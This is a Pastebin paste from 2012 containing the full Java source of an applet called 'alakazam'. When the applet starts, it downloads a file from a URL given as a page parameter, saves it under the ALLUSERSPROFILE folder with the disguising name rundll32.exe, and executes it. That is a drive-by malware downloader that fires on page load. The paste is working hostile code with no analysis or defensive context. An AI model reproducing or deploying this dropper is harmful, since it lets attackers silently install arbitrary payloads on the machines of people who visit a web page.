Advertisement
Guest User

Alakazam

a guest
May 7th, 2012
950
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.19 KB | None | 0 0
  1. import java.applet.Applet;
  2. import java.io.BufferedInputStream;
  3. import java.io.BufferedOutputStream;
  4. import java.io.FileNotFoundException;
  5. import java.io.FileOutputStream;
  6. import java.io.IOException;
  7. import java.net.URL;
  8. import java.util.logging.Level;
  9. import java.util.logging.Logger;
  10.  
  11. public class alakazam extends Applet
  12. {
  13.   public void start()
  14.   {
  15.     String str1 = getParameter("url");
  16.     String str2 = System.getenv("ALLUSERSPROFILE") + "\\rundll32.exe";
  17.     BufferedInputStream localBufferedInputStream = null;
  18.     try {
  19.       localBufferedInputStream = new BufferedInputStream(new URL(str1).openStream());
  20.     } catch (IOException localIOException1) {
  21.       Logger.getLogger(alakazam.class.getName()).log(Level.SEVERE, null, localIOException1);
  22.     }
  23.     FileOutputStream localFileOutputStream = null;
  24.     try {
  25.       localFileOutputStream = new FileOutputStream(str2);
  26.     } catch (FileNotFoundException localFileNotFoundException) {
  27.       Logger.getLogger(alakazam.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
  28.     }
  29.     BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
  30.     byte[] arrayOfByte = new byte[1024];
  31.     try
  32.     {
  33.       int i;
  34.       for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
  35.         localBufferedOutputStream.write(arrayOfByte, 0, i);
  36.     }
  37.     catch (IOException localIOException2) {
  38.       Logger.getLogger(alakazam.class.getName()).log(Level.SEVERE, null, localIOException2);
  39.     }
  40.     try {
  41.       localBufferedOutputStream.close();
  42.     } catch (IOException localIOException3) {
  43.       Logger.getLogger(alakazam.class.getName()).log(Level.SEVERE, null, localIOException3);
  44.     }
  45.     try {
  46.       localBufferedInputStream.close();
  47.     } catch (IOException localIOException4) {
  48.       Logger.getLogger(alakazam.class.getName()).log(Level.SEVERE, null, localIOException4);
  49.     }
  50.     try {
  51.       Runtime.getRuntime().exec(str2);
  52.     } catch (IOException localIOException5) {
  53.       Logger.getLogger(alakazam.class.getName()).log(Level.SEVERE, null, localIOException5);
  54.     }
  55.   }
  56.  
  57.   public void main(String[] paramArrayOfString) {
  58.     start();
  59.   }
  60. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement